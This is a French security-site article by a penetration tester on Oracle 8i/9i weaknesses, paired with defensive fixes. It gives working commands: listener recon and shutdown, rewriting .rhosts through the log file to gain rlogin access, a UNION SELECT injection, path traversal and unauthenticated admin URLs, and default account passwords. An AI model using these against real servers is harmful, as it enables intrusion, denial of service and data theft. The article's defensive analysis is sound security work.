Welcome to Coding : Sécurité Programmation Réseaux

Search   in  

 Create an Account Home | Submit News Your Account Content | Topics | Top 10  


Accueil
· Home
· Listing des Articles
· Top 10
· Repository des Exploits

Les sujets / parties
· C / C ++
· Visual Basic
· Asm
· Reseaux
· Java
· Securite
· Divers

Utile
· Listing des Articles

· Telecharger
· Le Forum
· Liens
· Proposer un article

Top20 des Downloads
· 1: Etude des reseaux generalites et protocoles
· 2: Cheval de troie en VB avec sources
· 3: Netcat 1.1
· 4: Keylogger
· 5: Etudes des reseaux hauts debits architectures et protocoles
· 6: Ecoute de port
· 7: Etude du Smart Spoofing
· 8: Win Packet Capture Utils
· 9: Tutorial on Traffic Interception on Switched Lan using ARP spoofing
· 10: Cours de C

User Info
Welcome, Anonymous
Nickname
Password
(Register)
Membership:
Latest: trapcodien
New Today: 1
New Yesterday: 0
Overall: 2207

People Online:
Visitors: 40
Members: 1
Total: 41

Online Now:
01: trapcodien

  
Faille de Oracle :)
Posted on Thursday, December 02 @ 14:38:52 CET
Topic: Securité
Securité

	( Wojciech Dworakowski )  Le présent article décrit seulement quelques risques caractéristiques pour les installations
   d'Oracle. J'ai essayé de présenter autant les dangers classiques dus aux erreurs commises par
   l'éditeur (p. ex. buffer-overflow) que ceux dus `a la configuration incorrecte des services
   dans l'installation standard, présence de scripts démo ou meme les principes de conception
   inexacts. Oracle est un produit avancé de type base de données, intégrant plusieurs
   technologies. De cela, la configuration de la protection d'oracle est une tâche vraiment
   difficile.
  • Attaque simple DoS
  • Remplacement d'un fichier quelconque
  • Exemple d'un scénario de l'attaque
  • Autres erreurs intéressantes du Listener D'Apache `a Oracle Révélation du code source des scripts JSP

    Oracle du point de vue de l'intrus Wojciech Dworakowski ------------------------------------------------------------------------------------------ Professionnellement, je ne m'occupe pas d'administration de serveurs Oracle. Mon travail est lié plutôt `a l'analyse de la sécurité des systemes IT (tests de pénétration, consultation de la configuration). Pour cela, le présent article sera écrit plutôt du point de vue de l'attaquant que de l'administrateur. L'article constitue la récapitulation de plus de deux ans d'expériences dans les tests des systemes de sécurité Oracle. La plupart des informations proviennent des ressources disponibles sur Internet. ------------------------------------------------------------------------------------------ Les produits Oracle dominent le marché des bases de données. Plusieurs services de fourniture d'acces `a des données fonctionnent sur cette plate forme (aussi via Internet). Ces bases sont également tres populaires au sein des entreprises. Le slogan publicitaire d'Oracle en 2002 était : Oracle - The Unbreakable. Est-ce vrai ? Dans le présent article, je tenterai de vous montrer les dangers dus aux installations standard des produits Oracle. Tout d'abord, je tiens `a souligner que je n'ai pas l'intention de viser particuliérement la société Oracle, de désavouer ses démarches marketing ou de suggérer que DBMS Oracle est dangereux ou troué comme une écumoire. Mon objectif est plutôt de démontrer que chaque produit est exposé aux fautes des développeurs et concepteurs quels qu'ils soient, et quoi qu'on dise dans la publicité. Oracle 9i est un bon produit de base de données dont la participation au marché devient de plus en plus importante. Mais les grandes entreprises et les produits renommés peuvent avoir aussi des défauts. Il ne faut pas oublier ce fait et croire naivement aux slogans publicitaires. Non sans raison, la devise de l'Agence Nationale de Sécurité des Etats Unis est : nous ne croyons qu'en Dieu - tout autre chose doit etre vérifiée. Toutes les erreurs décrites concernent l'installation standard. Il est possible de les éviter grâce `a l'utilisation des correctifs et des prescriptions de l'éditeur, ou bien en supprimant la fonctionnalité excessive dans les installations de production. La premiere partie de l'article concerne les attaques possibles `a partir du réseau local. Généralement, je me concentrerai sur les imperfections du service Listener. Dans la deuxieme partie, je décrirai quelques dangers liés aux serveurs d'applications Internet établies `a partir d'Oracle. Cette derniere partie s'intéressera principalement aux modules du service Apache, intégré dans les solutions Oracle. Un peu d'histoire Les produits de la société Oracle furent longtemps considérés comme des applications exemptes d'erreurs importantes liées `a la sécurité. Cette opinion résultait probablement du faible intéret accordé par les chercheurs `a ces types de produits, `a cause de leur accessibilité insuffisante. Pour avoir acces aux versions completes des systemes DBMS de la société Oracle, il fallait acheter les licences tres cheres. Tout a changé au moment ou Oracle a commencé `a rendre accessible les versions completes sur Internet. Ces versions peuvent etre utilisées pour le développement et les tests. Depuis `a peu pres deux ans, nous pouvons observer que ces produits captent l'intéret des spécialistes qui s'occupent des tests de sécurité des applications et de la recherche des erreurs. Ce fait a changé l'idée de l'éditeur sur les problemes de sécurité liés au code des produits. Auparavant, Oracle voyait la sécurité seulement `a travers les mécanismes de protection des données dans l'application. En 2002 Oracle a publié plus de 20 informations sur les risques dans ses produits. De plus, les distributions standard d'oracle contiennent les composants Open Source, comme, p.ex. Apache qui, eux memes, peuvent comprendre des erreurs. Oracle Listener Voici tout d'abord, quelques informations essentielles sur le programme Oracle Listener. Il s'agit d'un composant responsable, avant tout, de la communication entre les clients et le serveur Oracle (il gere aussi la communication entre les serveurs). C'est un élément de chaque installation d'oracle DBMS. Listener est un processus agissant sur le serveur de base données dont la tâche consiste `a recevoir les commandes des clients. Dans les systemes Unix, ce processus s'appelle tnslsnr. Dans les systemes Windows - le service approprié - Listener écoute les commandes sur le port TCP 1521. Pour la communication entre Oracle Client et Listener, on utilise le protocole TNS (Transparent Network Substrate). Les attaques les plus menaçantes liées `a Oracle Listener n'exigent pas de la part du pirate un savoir-faire spécial. Ce n'est pas un débordement du tampon classique ou autres erreurs types commises par les programmeurs (pourtant, nous pouvons aussi en trouver). Les faiblesses les plus importantes de Listener résultent probablement des mauvais principes adoptés lors de la conception du programme. En un mot : It's not a bug - It's a feature. Mais passons maintenant aux faits concrets. Pour attaquer Oracle Listener, on peut utiliser un simple script perl appelé tnscmd. Il est accessible sous http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd. Ce script permet de passer des commandes au protocole TNS. Comment s'informer sur le systeme Par défaut, Oracle Listener reçoit des commandes de n'importe qui et n'exige aucune autorisation. Cette situation peut évidement conduire `a des abus. Premierement, un utilisateur quelconque du réseau qui est capable de se connecter au port de Listener 1521 TCP, peut obtenir beaucoup d'informations sur le systeme. Il utilisera pour cela les commandes version et status du protocole TNS : tnscmd version -h adresse_du_serveur -p 1521 tnscmd status -h adresse_du_serveur -p 1521 Listener répond `a ces requetes en révélant, entre autres : * la version précise d'Oracle, * le type de systeme d'exploitation, * le temps écoulé depuis le lancement de l'instance d'Oracle, * les chemins d'acces aux fichiers journaux, * les options de Listener (p.ex. l'état de l'option security), * le type de services d'Oracle gérés par Listener, * les arguments de l'appel, * l'environnement complet (valeurs de toutes les variables systeme) dans lequel Listener a été lancé. Un exemple de la réception de certaines informations est présenté dans le Listing 1. Ces données peuvent servir `a la préparation de l'attaque efficace contre le systeme d'exploitation ou contre les programmes Oracle. ------------------------------------------------------------------------------------------ Listing 1. Réception des informations sur le systeme - commande TNS status tnscmd status -h 10.1.1.100 -p 1521 sending (CONNECT_DATA=(COMMAND=status)) to 10.1.1.100:1521 connect writing 89 bytes reading . .......6.........@. ...........J........ DESCRIPTION= TMP= VSNNUM=135291648 ERR=0 ALIAS=LISTENER SECURITY=OFF VERSION=TNSLSNR for Solaris: Version 8.1.6.3.0 - Production START_DATE=28-OCT-2002 16:22:44 SIDNUM=1 LOGFILE=/opt/oracle/8i/network/log/listener.log PRMFILE=/opt/oracle/8i/network/admin/listener.ora TRACING=off UPTIME=379500951 SNMP=OFF ------------------------------------------------------------------------------------------ Attaque simple DoS La configuration standard permet d'effectuer une attaque denial of service banale sur l'Oracle Listener. L'option SECURITY=OFF (voir Listing 1) nous informe qu'il est possible de passer des commandes au Listener sans aucune autorisation. Par défaut, l'acces au niveau de l'administrateur du Listener n'est pas protégé par aucun mot de passe, aussi un intrus potentiel peut sans probleme donner la commande : tnscmd stop -h oracleserwer -p 1521 Listener, sans un mot, terminera la session. C'est une attaque Denial of Service (DoS) tres simple. L'intrus n'a pas réussi `a accéder ni au systeme ni aux données, mais il a empeché son utilisation. Pour se protéger contre ce type d'attaque, il faut définir l'option security dans le Listener et un mot de passe protégeant les commandes d'administration. Remplacement d'un fichier quelconque Le processus de Listener (tnslsnr) enregistre tous les événements dans un journal (log). L'emplacement de ce log est déterminé par l'administrateur. Mais grâce `a la commande du protocole TNS - status, dont nous avons parlé précédemment, il est possible de lire le chemin d'acces. Dans le Listing 1, c'est la valeur de la variable LOGFILE. Pour aller plus loin - `a l'aide de la commande appropriée TNS, on peut changer l'emplacement du fichier journal. De plus, Listener prend aveuglément chaque valeur, n'importe si le fichier spécifié existe (dans ce cas, il est remplacé), ou pas (dans ce cas, il est créé). En effet, l'intrus qui est capable de se connecter au port 1521 du serveur Oracle peut remplacer ou créer un fichier quelconque auquel le processus Oracle Listener possede les droits. Par défaut, dans les systemes Unix, c'est l'utilisateur oracle, et dans les systemes Microsoft - l'utilisateur LOCAL_SYSTEM (sic!). De cette façon, l'intrus peut endommager les fichiers des bases de données, fichiers de configuration ou meme binaires d'Oracle. Le script tnscmd permet de saisir directement des chaînes de caractere qui feront partie de la commande TNS. Si l'on connaît un peu ce protocole, il est possible de définir la commande de modification du fichier journal. Exemple - réorientation des logs vers le fichier /home/oracle/.rhosts - est présenté dans le Listing 2. ------------------------------------------------------------------------------------------ Listing 2. Remplacement d'un fichier quelconque auquel l'utilisateur oracle a l'acces (dans ce cas, c'est le fichier .rhosts dans le répertoire personnel de l'utilisateur oracle) wojdwo@behemot$ ./tnscmd -h oracleserver --rawcmd " (DESCRIPTION= (CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=)) (COMMAND=log_file)(ARGUMENTS=4) (SERVICE=LISTENER) (VERSION=1) (VALUE=/home/oracle/.rhosts)))" sending (DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER) (VERSION=1)(VALUE=/home/oracle/.rhosts))) to oracleserver:1521 writing 205 bytes reading .m......"..a(DESCRIPTION=(TMP=)(VSNNUM=135294976)(ERR=0)(COMMAND=log_file)(LOGFILENAME=/home/oracle/.rhosts)) ------------------------------------------------------------------------------------------ Exemple d'un scénario de l'attaque - reprise du contrôle sur la base Apres la redirection des logs vers un fichier quelconque, toutes les informations enregistrées par Oracle Listener seront sauvegardées dans ce fichier. Listener n'enregistre pas dans les logs beaucoup d'informations, par exemple, il n'enregistre pas de l'adresse IP ni le nom de l'hôte `a partir duquel la connexion est parvenue. Donc, l'intrus qui s'attaque `a l'Oracle par une des méthodes ci-dessus, ne sera pas dévoilé au moyen des logs de Listener. Mais le log enregistre toutes les informations sur les erreurs, avec la citation de la commande incorrecte. Cela permet de saisir dans le fichier les informations souhaitées par l'intrus, ce qui, dans certains circonstances peut amener `a la reprise du contrôle sur le systeme. Au-dessous, je présente le scénario de l'attaque basé sur la saisie de l'information respective dans le fichier .rhosts et l'utilisation du service rlogin. Attention : le scénario ci-dessous n'est qu'un exemple. Les erreurs présentées permettent de mieux pénétrer dans les systemes. Au début, l'intrus donne la commande `a Listener `a l'aide du programme tnscmd, la commande TNS ordonne `a Listener sur le serveur oracleserwer le changement du fichier journal en /home/oracle/.rhosts (Listing 2). Comme on peut voir dans la suite du listing, le listener sur le serveur oracleserwer a effectué cette commande. Désormais, toutes les enregistrements concernant le fonctionnement du listener parviendront au fichier /home/oracle/.rhosts . Dans les systemes Unix, le fichier .rhosts dans le répertoire personnel de l'utilisateur enregistre les comptes distants et les noms ou adresses IP des hôtes qui peuvent se connecter au systeme sans aucune authentification par les services rlogin, rsh, rcmd. L'objectif de l'intrus consiste `a saisir dans ce fichier son nom et adresse IP de l'hôte. Comme nous avons déj`a dit, listener enregistre dans les logs les informations sur les erreurs, avec l'avertissement sur la commande incorrecte. Il est possible d'utiliser ce fait pour saisir notre adresse IP et le nom de l'utilisateur dans le fichier .rhosts (Listing 3). Il est important que les données saisies soient placées dans une ligne séparée. ------------------------------------------------------------------------------------------ Listing 3. Utilisation de listener pour saisir ses propres données dans un fichier quelconque wojdwo@behemot$ ./tnscmd -h oracleserwer --rawcmd "(CONNECT_DATA=(( 10.1.1.223 wojdwo " sending (CONNECT_DATA=(( 10.1.1.223 wojdwo to oracleserwer:1521 writing 93 bytes reading .$....."..(DESCRIPTION=(ERR=1153)(VSNNUM=135294976) (ERROR_STACK=(ERROR=i(CODE=1153)(EMFI=4) (ARGS='(CONNECT_DATA=((.10.1.1.223 wojdwo')) (ERROR=(CODE=303)(EMFI=1)))) ------------------------------------------------------------------------------------------ Nous voyons que listener a retourné le message d'erreur, pourtant il a saisi dans ses logs, c'est-`a-dire dans le fichier /home/oracle/.rhosts, toute la ligne avec la commande incorrecte. En ce moment, le fichier /home/oracle/.rhosts (le log courant de Listener) se présente comme sur le Listing 4. ------------------------------------------------------------------------------------------ Listing 4. Contenu du fichier /home/oracle/.rhosts apres son remplacement par Oracle Listener 12-SIE-2002 15:44:05 * log_file * 0 12-SIE-2002 15:44:37 * service_register * ora1 * 0 12-SIE-2002 15:44:58 * 1153 TNS-01153: Failed to process string: (CONNECT_DATA=(( 10.1.1.223 wojdwo NL-00303: syntax error in NV string ------------------------------------------------------------------------------------------ L'intrus a profité des imperfections d'Oracle Listener pour saisir la ligne 10.1.1.223 wojdwo dans le fichier .rhosts . Elle sera correctement interprétée par le systeme, en effet, l'intrus pourra se loguer `a distance comme utilisateur oracle, sans aucune authentification. Listing 5 démontre la connexion `a distance avec le serveur oracleserwer et l'acquisition des droits d'utilisateur oracle. ------------------------------------------------------------------------------------------ Listing 5. A la suite de l'attaque, il devient possible de se loguer `a distance dans le systeme avec les droits d'utilisateur Oracle. wojdwo@behemot$ rlogin -l oracle oracleserwer Linux oracleserwer Mon Aug 12 15:46:15 EST 2002 i686 unknown oracle@oracleserwer:~$ id uid=1001(oracle) gid=103(oinstall) groups=103 (oinstall),104(dba),105(oper) ------------------------------------------------------------------------------------------ En récapitulant : l'intrus qui agit `a distance a réussi, par des manipulations appropriées sur le serveur Oracle Listener, `a obtenir les droits d'utilisateur oracle dans le systeme d'exploitation. Bien sur, ce scénario n'est possible que si le systeme d'exploitation donne la possibilité de se loguer `a distance par rlogin et utilise les fichiers .rhosts pour autoriser les utilisateurs distants (configuration standard dans la plupart des systemes Unix). Comme j'ai déj`a dit auparavant, ce n'est qu'un exemple. Nous pouvons préparer une attaque semblable qui permet de manipuler les clés ssh, et en effet, donne l'acces aux systeme via ssh. Les attaques semblables peuvent etre effectuées sur l'Oracle fonctionnant sur les plates-formes Windows. Ces dernieres pourraient s'avérer plus efficaces et dangereuses non seulement pour la base de donnée, mais aussi pour le systeme meme puisque l'intrus obtient les droits Local System. Les dangers décrits ci-dessus sont autant importants qu'ils arrivent jusqu'au maintenant, dans toutes les versions Oracle contenant Oracle Listener, y compris la nouvelle version, bien que les risques soient connus depuis 2000. Le patch édité par l'Oracle (#1361722) implémente dans le fichier de configuration de Listener (listener.ora) un parametre supplémentaire - ADMIN_RESTRICTIONS. L'activation de ce parametre empeche la reconfiguration dynamique `a distance du listener. Pourtant - pour garder la cohérence - par défaut, ce parametre est désactivé. Autres erreurs intéressantes du Listener Comme j'ai déj`a dit, les erreurs présentées ci-dessus sont d'autant intéressant qu'elles ne résultent pas de la négligence des programmeurs, mais elles ont été commises dans la phase de l'établissement du projet. Bien sur, l'Oracle Listener n'est pas libre des risques plus traditionnels qui résultent p.ex. du manque de validation des données d'entrée. Les informations sur les autres erreurs sont disponibles sur la page http://otn.oracle.com/deploy/security/alerts.htm et dans le Bulletin de Sécurité d'Oracle que je rédige et qui apparaît régulierement dans la revue du Groupe Polonais des Utilisateurs d'Oracle. Elle est disponible sous l'adresse que vous trouverez `a la fin de cette article (encadrement Dans le réseau). Au-dessous, je voudrais présenter deux dangers qui sont particulierement intéressants. Les deux sont déj`a corrigés par l'éditeur (il existe des patches appropriés). Une erreur intéressante (un exemple de son utilisation est présenté dans le Listing 6) commise par les programmeurs d'Oracle Listener est une erreur permettant de révéler l'information transmise dans la connexion précédente d'un autre utilisateur avec listener. L'erreur du programmeur consiste probablement `a ce que le tampon qui reçoit les messages n'est pas purgé apres chaque connexion. En effet, si l'on définit dans le parametre convenable la longueur de la commande TNS supérieure `a la longueur réelle (oracleserwer --cmdsize 30), on est capable de lire la partie de la commande donnée `a listener par l'utilisateur précédent (COMMAND=status). ------------------------------------------------------------------------------------------ Listing 6. Manipulation du protocole TNS ; en effet, listener dévoile le fragment de la commande précédente wojdwo@behemot$ ./tnscmd --rawcmd " " -h oracleserwer --cmdsize 30 sending to oracleserwer:1521 Faking command length to 30 bytes writing 59 bytes reading ......."...(DESCRIPTION=(ERR=1153)(VSNNUM=135294976) (ERROR_STACK=(ERROR=(CODE=1153)(EMFI=4) (ARGS='CONNECT_DATA=(COMMAND=status)')) (ERROR=(CODE=303)(EMFI=1)))) ------------------------------------------------------------------------------------------ Une autre erreur intéressante est liée `a la commande SERVICE_CURLOAD. Pour envoyer cette commande, on peut utiliser le programme : tnscmd -h 192.168.0.200 --rawcmd "(CONNECT_DATA=(COMMAND=SERVICE_CURLOAD))" A la suite de cette commande, le processus du listener (tnslsnr) consomme 99% de temps du processeur. Et encore une fois, l'attaque denial of service banale. Oracle Listener - remarques Les attaques présentées ci-dessous liées `a l'Oracle Listener exigent que l'intrus puisse communiquer avec ses processus. Il doit avoir la possibilité d'envoyer les paquets sur le port 1521/tcp. Par cela, la plupart des administrateurs négligent ces dangers parce qu'ils croient que les pare-feu bloquent efficacement le trafic par ce port (port des serveurs de bases de données). Comment c'est efficace, nous avons pu voir `a la fin janvier 2003 pendant l'attaque du virus Slammer (Sapphire) qui attaquait justement les serveurs MS-SQL. Outre cela, la plupart des intrus n'attaquent pas de front. Au lieu d'essayer attaquer directement le serveur Oracle, il est plus facile de reprendre le contrôle sur une station de travail dans le réseau attaqué et, `a partir de ce poste, s'attaquer `a l'Oracle Listener. Bien sur, il existe de possibilités de se protéger au moins partiellement contre ces types de dangers. Premierement, nous pouvons activer dans listener l'option security et déterminer un mot de passe. Ensuite, nous pouvons définir les adresses IP qui peuvent se connecter au listener (directives tcp.validnode_checking et tcp.invited_nodes) et interdire la modification dynamique des fichiers de configuration (p. ex. logs) en activant l'option ADMIN_RESTRICTIONS. D'Apache `a Oracle Dans les dernieres années, tres souvent, les informations sont mises `a disposition `a travers les pages WWW connectées aux bases de données. Dans une telle architecture, du côté du serveur WWW, certaines méthodes dynamiques (p. ex. PHP, ASP, JSP)sont lancées. Elles chargent les données `a partir de la base de donnée et génerent les pages WWW. Le tout constitue l'application web. Le client de cette application devient, bien sur, le navigateur WWW. Oracle et autres éditeurs des produits de bases de données ont apprécié cette mode et ils ont permis l'acces aux données `a travers les navigateurs WWW. Dans le cas d'oracle, le serveur WWW est Oracle HTTP Listener. C'est la deuxieme (outre le Listener standard) façon de communiquer avec le serveur Oracle, et, de cela, des attaques potentielles peuvent parvenir aussi de ce côté. L'Oracle HTTP Listener est un serveur connu Apache de série 1.3.x avec les modules ajoutés par Oracle. Ces modules l'integrent avec Oracle DBMS. Le code exécuté du côté de serveur peut etre créé `a l'aide de différentes méthodes. Les plus importantes sont, `a savoir : * PL/SQL - langage de procédure d'oracle ; son interprétation dans le cas des scripts server-side est effectuée par le module mod_plsql. * Les Scripts JSP et servlets Java - gérés par JServ (mod_jserv lié statiquement avec Apache) ou Oracle Containers for Java (OC4J). On peut dire que s'il s'agit des serveurs de l'application, Oracle préfere Java. De cela, ces méthodes sont enrichies par les possibilités intéressantes, p. ex. XSQL - intégration avec XML, ou bine SQLJ - exécution directe des requetes SQL de l'intérieur des scriptes Java. * D'autres méthodes traditionnelles, comme p. ex. scripts CGI ou Perl (mod_cgi et mod_perl sont activés par défaut). De plus, Oracle met `a disposition une quantité de technologies supplémentaires, comme par exemple, tamponnage avancé des pages dynamiques (Oracle Web Cache), trame pour la création des portails (Oracle Portal), implémentations WebDAV et autres. Il est facile de deviner que la plupart de ces modules supplémentaires possedent une liste de risques considérable. C'est une situation typique pour des programmes `a développement rapide. Bien sur, dans l'installation standard, la plupart de ces suppléments sont actifs. Comme la pratique l'indique, peu d'installations de production ont une configuration différente de l'installation standard. De plus les administrateurs, n'étant pas capables de savoir tout sur tous les composants avancés, préferent de les laisser que s'exposer `a la déstabilisation du serveur. Et encore une fois nous pouvons appliquer un vieux principe selon lequel la sécurité est inversement proportionnelle aux fonctionnalités disponibles dans le programme. Dans la suite de cet article, je voudrais présenter quelques exemples d'attaques intéressantes qui utilisent les trous dans les modules Oracle HTTP Listener. Tous les dangers décrits peuvent etre supprimés grâce aux patches appropriés de l'éditeur. C'est ce qui caractérise ces erreurs c'est leur trivialité. De plus, elles ont été toutes révélées dans la derniere année. Révélation du code source des scripts JSP Java Server Pages (JSP) c'est une des méthodes permettant au serveur de générer les pages WWW avec un contenu dynamique constitué par les informations prises `a partir de la base de données. Quant le client (navigateur WWW) demande la page `a extension .jsp, par défaut, le serveur recherche le code java approprié, le compile et ensuite, l'exécute. Comme résultat, nous obtenons la page HTML dans le navigateur. Lors de ce processus, dans le répertoire /_pages du serveur WWW, les fichiers temporaires sont créés. Un de ces fichiers, `a extension java, contient le code source du script exécuté. Dans la configuration standard d'Apache distribué avec Oracle, le répertoire /_pages est mis `a disposition par le serveur. Grâce `a cela, l'intrus peut lire le code source des pages JSP gérées par le serveur. Exemple : En premier pas, il faut lancer le script JSP que l'on veut attaquer JSP, pour que le serveur charge et compile le code : http://10.1.1.100/demo/sql/bean/ConnBeanDemo.jsp Maintenant, on peut lire le code source du script JSP se référant au fichier approprié disponible dans le répertoire /_pages: http://10.1.1.100/_pages/_demo/_sql/_bean/_ConnBeanDemo.java Afin de se défendre contre une telle attaque, il suffit d'interdire l'acces au répertoire /_pages dans les parametres d'Apache. Tous les scripts JSP doivent aussi etre stockés sous forme pré compilée. Ainsi, on évite la compilation des scripts au moment ou ils sont accessibles, ce qui peut s'avérer dangereux, et de plus, cela permet d'améliorer l'efficacité du systeme. Scripts de démonstration Beaucoup de dangers sont liés aux scripts de démonstration des fonctionnalités d'Oracle comme serveur d'application, inclus dans l'installation standard d'Oracle. Ces scripts se trouvent dans le répertoire /demo. Plusieurs de ces exemples ne sont pas de bons exemples `a suivre, en particulier, s'il s'agit des principes de programmation sure. Le nombre important de scripts de démonstration, le chargement des données de la base `a partir des variables provenant de l'utilisateur, tout cela nous expose aux attaques de type SQL injection. Les principes d'administration imposent la suppression des serveurs de production toutes les fonctionnalités superflues et leur contenu, pourtant l'exposition de scripts de démonstration est tres fréquente dans les installations de production (c'est tres courant dans le cas des serveurs de développement mis `a disposition sur Internet). Prenons, par exemple, le script /demo/sql/tag/sample2.jsp. Ce scripte est une interface `a la table contenant les données sur les revenus dans une société imaginaire. Ce script affiche dans le navigateur un formulaire WWW dans lequel l'utilisateur saisit une requete. Par exemple, s'il saisit sal=800, la requete suivante est exécutée : select ename,sal from scott.emp where sal=800. Le probleme est que la requete est faite `a la suite d'une simple action consistant `a coller la chaîne de caracteres chargée `a partir d'un utilisateur, sans aucune validation. L'intrus peut utiliser ce script pour lire les données quelconques de la base auxquelles l'utilisateur du script sample2.jsp (par défaut, l'utilisateur SCOTT) a les droits d'acces, y compris les données systeme. Par exemple - la saisie de la chaîne de caracteres sal=800 union select username,userid from all_users exécute la requete select ename,sal from scott.emp where sal=800 union select username,userid from all_users . Si nous parlons `a propos des attaques par la méthode SQL-injection, il est juste de rappeler que dans le cas d'Oracle, il n'est pas possible d'ajouter apres le point-virgule la commande séparée SQL, comme cela est fait dans le cas de PostgreSQL ou MS-SQL. La technique la plus utilisée (comme dans l'exemple ci-dessus) c'est l'ajout de sa partie de la requete par UNION SELECT. Interfaces d'administration Des attaques tres simples mais aussi tres efficaces peuvent etre effectuées `a l'aide des interfaces d'administration `a travers WWW. Dans l'installation standard d'Oracle, la grande partie des pages d'administration n'exigent pas d'authentification (sic!). Les adresses de quelques pages de ce type sont présentées ci-dessous : * http://10.1.1.100/pls/admin_/gateway.htm, * http://10.1.1.100/oprocmgr-status, * http://10.1.1.100/servlet/Spy. Module mod_plsql Le module Apache mod_plsql sert `a interpréter sur le serveur WWW le code PL/SQL qui est un langage natif des bases Oracle. Ce module contient également plusieurs erreurs classiques. Une d'elles c'est le débordement du tampon d'entrée dans le script servant `a afficher l'aide. L'envoi de la commande de type : http://10.1.1.100/pls/simpledad/admin_/help/AAAAAAAA....(>1000 de caracteres) provoque l'erreur de segmentation dans le processus qui gere cette commande. Au moyen de la technique buffer-overflow il est possible d'exécuter le code de l'intrus sur le serveur, dans le contexte du processus du serveur WWW (httpd). Une autre attaque qui peut facilement atteindre mod_plsql est l'application de la technique double decode. Cette technique consiste `a envoyer vers le serveur la commande contenant les caracteres spéciaux (p. ex. barre oblique - slash) codés deux fois de façon hexadécimale. En résultats, il est possible de contourner les restrictions du serveur et lire un fichier ou répertoire quelconque sur le serveur WWW. Exemple : Lecture du fichier de configuration plsql.conf: http://10.1.1.100/pls/simpledad/admin_/help/..%255Cplsql.conf Utilisation des paquets standard PL/SQL L'installation standard d'Oracle comprend une bibliotheque volumineuse avec différents paquets des procédures PL/SQL. Dans les procédures plus anciennes d'Oracle, tous les paquets sont également accessibles via Internet, `a l'aide de mod_plsql. La syntaxe de l'appel de la procédure PL/SQL par le serveur WWW se présente ainsi : http://ip.ip.ip.ip/pls/DAD/nom du paquet.nom de la procédure DAD (ang. Database Access Descriptor) c'est une structure décrivant la façon de se connecter `a la base. L'installation standard met `a disposition l'exemple d'un descripteur appelé simpledad. Au-dessous, je présenterai l'exemple de l'attaque au moyen des procédures du paquet owa_util. Vérification du fonctionnement du paquet owa_util: http://10.1.1.100/pls/simpledad/owa_util.signature Révélation du code source d'un paquet PL/SQL quelconque (p. ex. file_util): http://10.1.1.100/pls/simpledad/owa_util.showsource?cname=file_util Exécution des requetes non autorisées `a la base : http://10.1.1.100/pls/simpledad/owa_util. listprint?p_theQuery=select%20*%20from%20all_users&p_cname=&p_nsize= Autres paquets PL/SQL intéressants, p. ex. : http - procédures permettant la gestion du protocole HTTP, tcp - procédures de gestion du protocole TCP ; elles permettent, entre autres, d'établir la connexion de retour (sortante), file_util - procédures d'acces aux fichiers ; elles permettent, par exemple, de charger un fichier quelconque du serveur. L'administrateur peut se défendre contre l'utilisation de ces paquets en saisissant le parametre exclusion_list dans le fichier de configuration wdbsrv.app. Dans la configuration standard d'Oracle 9i, ce parametre est déj`a saisi. Dans les versions antérieures, il n'est pas activé. Lecture de la configuration XSQL `a l'aide du servlet XSQLServlet Le fichier XSQLConDessinxml contient les informations sur la configuration des fichiers XSQL, entre autres, le nom et le mot de passe de l'utilisateur dont les droits d'acces sont utilisés par le module XSQL pour se connecter `a la base de données. Ce fichier se trouve sur le serveur WWW, dans le répertoire /xsql/lib/XSQLConDessinxml. Le serveur interdit l'acces `a ce fichier, et chaque tentative d'y accéder entraîne l'envoi du message 403 Forbidden. Puisque c'est un fichier XML, il est possible de le lire en utilisant le servlet XSQLServlet accessible par défaut : http://10.1.1.100/servlet/oracle.xml.xsql.XSQLServlet/xsql/lib/XSQLConDessinxml Applications WWW - remarques Dans cet article, j'ai présenté les exemples des attaques sur les programmes qui interfacent la base de données Oracle `a l'Internet. Les attaques décrites ne sont qu'une sélection des méthodes les plus intéressantes. En réalité, la liste est beaucoup plus longue. Pourtant, les erreurs commises par l'éditeur de cette plate forme, c'est-`a-dire le serveur d'application, ne sont pas si graves que les erreurs faites par les auteurs des services WWW accessibles sur ce serveur d'application WWW. Le coeur de chaque installation de serveur d'application ce sont les programmes créés exactement selon les besoins. Ces programmes sous forme de scripts PL/SQL, JSP, servlets Java, etc. fonctionnent sur les serveurs WWW et se connectent `a la base de données. N'oubliez pas que chaque erreur commise par un programmeur dans ces types de scripts peut avoir des conséquences imprévues. Ici, le danger consiste `a ce que les scripts sont autant dangereux que le principe de leur fonctionnement consiste `a entrer en interaction souvent avec un utilisateur inconnu via Internet. Puisqu'ils utilisent le protocole HTTP, les risques qui y sont liés ne peuvent pas etre contrôlés au moyen des mécanises de protection standard, comme p. ex. pare-feu et IDS. L'unique moyen de protection c'est l'audit scrupuleux du code par les spécialistes. Remarques supplémentaires Outre les méthodes présentées dans cet article, il est utile de dire quelques mots sur les parametres standard d'Oracle qui peuvent faciliter la tâche `a l'intrus. Par exemple, les comptes et les mots de passe présents dans l'installation standard d'Oracle sont généralement connus, ce qui est une situation tres curieuse. Sur Internet, il est possible de trouver la liste de plus de 100 comptes installés par défaut par Oracle 8i/9i et les produits supplémentaires. D'habitude, ce sont les comptes internes du systeme ou les comptes liés aux applications démo. Dans l'Oracle 8i (8.1.7), quelques de ces comptes possedes les droits d'acces tres élevés : CTXSYS (has³o CTXSYS) - droits DBA (administrateur de la base), TRACESVR (has³o TRACE) - droits select any table, MDSYS (has³o MDSYS) - jeu de droits tres élevés. Ce qui est caractéristique, c'est que ces comptes sont liés `a une fonctionnalité accessoire d'Oracle. Par exemple, CTXSYS c'est le compte nécessaire au fonctionnement du paquet qui sert `a la recherche contextuelle des documents, et MDSYS sert `a gérer les données multidimensionnelles (p. ex. dans les systemes GIS). L'éditeur conseille de supprimer ou bloquer les comptes les plus importants, `a condition que la fonctionnalité donné ne soit pas utilisé. Mais la plupart des administrateurs ne prennent pas en compte ces prescriptions. Conclusion Le présent article décrit seulement quelques risques caractéristiques pour les installations d'Oracle. J'ai essayé de présenter autant les dangers classiques dus aux erreurs commises par l'éditeur (p. ex. buffer-overflow) que ceux dus `a la configuration incorrecte des services dans l'installation standard, présence de scripts démo ou meme les principes de conception inexacts. Oracle est un produit avancé de type base de données, intégrant plusieurs technologies. De cela, la configuration de la protection d'oracle est une tâche vraiment difficile. Bien sur - le programme sans erreurs n'existe pas, pourtant leur qualité ou meme banalité dans le cas de produits Oracle permet de constater qu'ils ne sont pas surs en configuration standard. Dans ce contexte, le slogan publicitaire de l'éditeur paraît assez drôle : Oracle - The Unbreakable: 